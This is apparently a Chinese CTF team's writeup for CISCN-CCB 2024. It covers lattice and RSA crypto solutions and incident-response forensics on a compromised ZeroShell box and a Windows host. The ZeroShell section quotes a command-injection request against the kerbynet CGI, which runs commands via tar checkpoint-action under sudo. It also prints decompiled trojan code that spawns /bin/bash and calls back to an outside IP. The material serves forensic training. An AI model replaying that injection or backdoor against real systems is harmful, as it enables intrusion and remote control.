CISCN-CCB-BY-YR

YR战队 WRITEUP

一、战队信息

战队名称：YR

战队排名：492

二、解题情况

三、解题过程

Crypto

fffffhash

通过输出关键的参数x=309485009821345068724781371，

搜索309485009821345068724781371知道是FNV-128bit

查到利用LLL的类似的wp:https://github.com/DownUnderCTF/Challenges_2023_Public/blob/main/crypto/fnv/solve/solution_joseph_LLL.sage

直接照着题目代码修改参数

通过调试得到n的大小

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TARGET = 201431453607244229943761366749810895688
h0 = 0x6c62272e07bb014262b821756295c58d
p = 0x0000000001000000000000000000013b
MOD = 2**128

n = 16
M = Matrix.column([p^(n - i - 1) for i in range(n)] + [-(TARGET - h0*p^n), MOD])
M = M.augment(identity_matrix(n+1).stack(vector([0] * (n+1))))
Q = Matrix.diagonal([2^128] + [2^4] * n + [2^8])
M *= Q
M = M.BKZ()
M /= Q
for r in M:
    if r[0] == 0 and abs(r[-1]) == 1:
        r *= r[-1]
        good = r[1:-1]
        print(good)
        break
inp = []
y = int(h0*p)
t = (h0*p^n + good[0] * p^(n-1)) % MOD
for i in range(n):
    for x in range(256):
        y_ = (int(y) ^^ int(x)) * p^(n-i-1) % MOD
        if y_ == t:
            print('good', i, x)
            inp.append(x)
            if i < n-1:
                t = (t + good[i+1] * p^(n-i-2)) % MOD
                y = ((int(y) ^^ int(x)) * p) % MOD
            break
    else:
        print('bad', i)
print(bytes(inp).hex())
// 020101081b04390001051a020a3d0f0f

rasnd

手动连接得到参数

part1:

先处理hint1和hint2

爆破较小的x，hint2*x1，hint1*x2，相减再与n1进行GCD就可以得到q

得到q直接解密就行了

part2:

参考：

https://blog.csdn.net/luochen2436/article/details/129181271

hint2=mn−p−qmod  q=mϕ(n)−1mod  q=m−1mod  qm=hint2−1mod  qhint_2=m^{n-p-q}\mod q=m^{\phi(n)-1}\mod q=m^{-1}\mod q\\ m=hint_2^{-1}\mod q\\

得到514*p-114*q，直接跟n=p*q联立方程就好了

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from Crypto.Util.number import *
from gmpy2 import *
from sympy import  *

n1=11253456301404072182754603079043141230357632788687128065946949158421386019810331746559589520167575285461013231695562260288474435323651486728462182455684783621146533735439516661083154202402094564409797610965484750133738948093654463980274589206533544745239593323687597158332853322688834333877527879648033739944377991072365645287974409264751053149810266318150358528958695995448206102977234465894707576713203411728480923368608079227663155141454053171021621895561229310948351858551966089589810458449489930569488309784787298671538269292547138600936732070803719330443830023896360524647242544758858550421544632830525000969021
c1=8499679502416909357939986454449383217929657276328884744252110300118585376760998970256899096933625143878216424502943862848223333991791355858607867618745163957692936089698174344113246726053590682306119213994882195821855969008568291868812781815357921466464892371352951440648343250861078226735739317822382957147244865046380055135366135267450129149663761447216572527854715442366920877558145509864933807963361779253891209769139019896894284962745494007050260900203902288375243100699726367780684955023612441356974739956402745147033094774686164403598983705486096400509860060256662636611892179313959468258085801623281908958306
hint11=17676209393363873836616956378006241932018678956800177404559670972320106080186175872019330254680063146159633352040419753333739877504801655707461743996360860074533886246883000834602444450563478802498391744461000891946602955271019377331422970647454283295639907116545974746002247519488100359581041415620977668314102564371271101341417292169569751
hint12=892164632137965257404704659317620180133919820054497710194577219436051826293520132465478378901898630232069660620200822495415347206456545002722997494118196531269124510503871707983543682617650707774098790755476191393584818990189315815327863744625319881016693821820062695832323709521864841849420105119520142732380645163928515949248627003405815102096473638849801662204513485212456415643028454337266359464009419892900199392235981999590510829354486285848071251803213507

if 0:
    hint11=hint11+0x114
    hint12=hint12+0x514
    for x1 in range(2**11+1):
        for x2 in range(2**11+1):
            q=int(gcd(hint12*x1-hint11*x2,n1))
            if q.bit_length()==1024 and isPrime(q):
                flag1=long_to_bytes(pow(c1,inverse(65537,q-1),q))
                print(flag1)
                exit()
#b'flag{5f97682d-e7bf-'           

#https://blog.csdn.net/luochen2436/article/details/129181271
n2=14217913464459559682250875501886201276876328130146621058904052452278231545562301222073675283834120195896879261204877956594249270008118834684665611333775785540398977821573478806703825815281652967784898299930527726439037749019760799845047679385220189738630913625419692052778253277286212296445004302620626988533627355677869101844377851844299099905220669618825288695316487157845779020847788016128286053705169807753579824931407426513605070820324686135268717340101082088189807681669714476855421572848587697256393664762171900144896459413927294243594831765921498135651902566596193419698276450417081358963095530327916716815471
c2=10813198470406533857220297365144817764494546388124020326246100807725599407936858418372461604440989526434764769646474529144698553404454498330299339001268266442190881046798013800230695418512588589548559815286659383606192081671939800961491163261471780789234548933509984782326050156749252109417469372350353839078435276939895993315409326959545136004479234394204733463770802144577959343353853931551396004269664808998993218026499223645426011418112367165355608052943350106781733459127034314624179963889512767512695687925177031381133173284545775059709716565412326201630506864491038183759653328168822467109694920688415836066824
s=8622138450599474319575025668181890197317138615118712483697608983729406165889177728238980145474189791200674222799428164855362343438877601351502481230300737810189886212903644248984679582387466437485042409474427772423432264350891006157655032700171141741601071796907799334832768249378115672861466623851728568869966008957739548946015354053401528336142451508118071266077071413659041952533227860880436238236471883889518976004280218746662796058207527002850084337608848782124623974707511360966275169272055067156929736605139147390769499862668667648054224585342241937444069239228396295614125346897679304557597611584898082698898
m1 = gmpy2.invert(s,n2)
p,q = symbols('p q')
eq = [p*q-n2,514*p - 114*q-m1]
result = nonlinsolve(eq,[p,q])
result = list(result)
p,q = int(result[1][0]),int(result[1][1])
phi = (p-1)*(q-1)
d = gmpy2.invert(65537,phi)
flag2 = pow(c2,d,n2)

print(long_to_bytes(flag2))
#b'43ea-ac35-0a842bc974c1}'

威胁流量

zeroshell

zeroshell-1

吐了 翻了一大圈，结果发现在Referer里，因为别的地方真的没东西了

GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=‘%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20–checkpoint=1%20–checkpoint-action=exec=‘ps%20-ef’%0A’ HTTP/1.1 Host: 61.139.2.100 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Connection: close Accept-Language: en-US,en;q=0.5 Referer: ZmxhZ3s2QzJFMzhEQS1EOEU0LThEODQtNEE0Ri1FMkFCRDA3QTFGM0F9 Upgrade-Insecure-Requests: 1

flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}

zeroshell-2

直接挂载硬盘，文件位于/dev/sdb4中，即第四逻辑分区

root@debianTemplate12:/mnt/sdb/sdb4/_DB.001# cat flag

c6045425-6e6e-41d0-be09-95682a4f65c4

即可得到

zeroshell-3

通过Wireshark抓包发现，总是在连接这个ip地址

Internet Protocol Version 4, Src: 61.139.2.100, Dst: 202.115.89.103

zeroshell-4

netstat -anp |grep 103 多次尝试发现有时候会有一个 bash

ps -aux发现时不时有个

/bin/bash 1120 32

ps -feww 发现它ppid是1

PPID 1

ps -ppid 1 发现这个.nginx会周期执行，并且执行很多后，连接木马频率明显变快

最终得到的木马文件

flag{.nginx}

zeroshell-5

看string窗口，找到一个比较像密钥的字符串

定位字符串，发现这个函数里有/bin/bash , 以及通信地址，那么11223344qweasdzxc大概率就是加密密钥了

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strcpy((char *)*a2, "/bin/bash");
  v2 = sub_8063EB0();
  if ( v2 < 0 )
    return 1;
  v3 = 0;
  if ( !v2 )
  {
    v4 = sub_8064310(0);
    v3 = 2;
    if ( v4 >= 0 )
    {
      for ( i = 0; i != 1024; ++i )
        sub_80645D0(i);
      while ( 1 )
      {
        while ( 1 )
        {
          do
          {
            do
            {
              sub_8063C10(30);
              v6 = sub_80682F0(2);
            }
            while ( v6 < 0 );
            v7 = sub_8068AD0("202.115.89.103");
          }
          while ( !v7 );
          sub_8057DE0(&v12, **(_DWORD **)(v7 + 16), *(_DWORD *)(v7 + 12));
          if ( (int)sub_8068170(v6) >= 0 )
          {
            v8 = sub_8063EB0();
            if ( v8 >= 0 )
              break;
          }
          sub_80645D0(v6);
        }
        if ( !v8 )
          break;
        sub_8063B80(v8, 0, 0);
        sub_80645D0(v6);
      }
      v9 = sub_8063EB0();
      v3 = 8;
      if ( v9 >= 0 )
      {
        LOBYTE(v3) = 9;
        if ( !v9 )
        {
          sub_8063BF0(3);
          if ( sub_8049C93(v6, (int)::a2) == 1 )
            // 11223344qweasdzxc
zeroshell-6

把.nginx文件换成cat，卡在了加载脚本，说明文件一个就是在这些脚本里

这说明确实在这

那我们找一下这个脚本放哪的

拿find搜索nat 最后看到/var/register/system/startup/scripts/nat/File

WinFT

WinFT-1

虚拟机里面自带的火绒剑分析网络，发现可疑程序和ip

使用wireshark过滤ip，翻到最后有一个http包，里面有域名

WinFT-2

打开计划任务

JiM3ODsmIzEwNTsmIzk5OyYjMTAxOyYjNjUyOTI7JiMxMDI7JiMxMDg7JiM5NzsmIzEwMzsmIzMyOyYjMTA1OyYjMTE1OyYjMzI7JiMxMjM7JiM2NTsmIzY5OyYjODM7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzk1OyYjMTA1OyYjMTE1OyYjOTU7JiM5NzsmIzExMDsmIzk1OyYjMTAxOyYjMTIwOyYjOTk7JiMxMDE7JiMxMDg7JiMxMDg7JiMxMDE7JiMxMTA7JiMxMTY7JiM5NTsmIzEwMTsmIzExMDsmIzk5OyYjMTE0OyYjMTIxOyYjMTEyOyYjMTE2OyYjMTA1OyYjMTExOyYjMTEwOyYjOTU7JiM5NzsmIzEwODsmIzEwMzsmIzExMTsmIzExNDsmIzEwNTsmIzExNjsmIzEwNDsmIzEwOTsmIzEyNTs=

78 105 99 101 65292 102 108 97 103 32 105 115 32 123 65 69 83 95 101 110 99 114 121 112 116 105 111 110 95 97 108 103 111 114 105 116 104 109 95 105 115 95 97 110 95 101 120 99 101 108 108 101 110 116 95 101 110 99 114 121 112 116 105 111 110 95 97 108 103 111 114 105 116 104 109 125

删除65292，十进制转ascii码就行了

{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}

sc05

sc05-1

切换到TCP的表搜索134.6.4.12

找到最近时间2024/11/09_16:22:42

01DF5BC2388E287D4CC8F11EA4D31929

ctf > wp
#Crypto #Forensics
CISCN-CCB-BY-YR
http://example.com/2024/12/15/ciscnccb/
作者
Naby
发布于
2024年12月15日
许可协议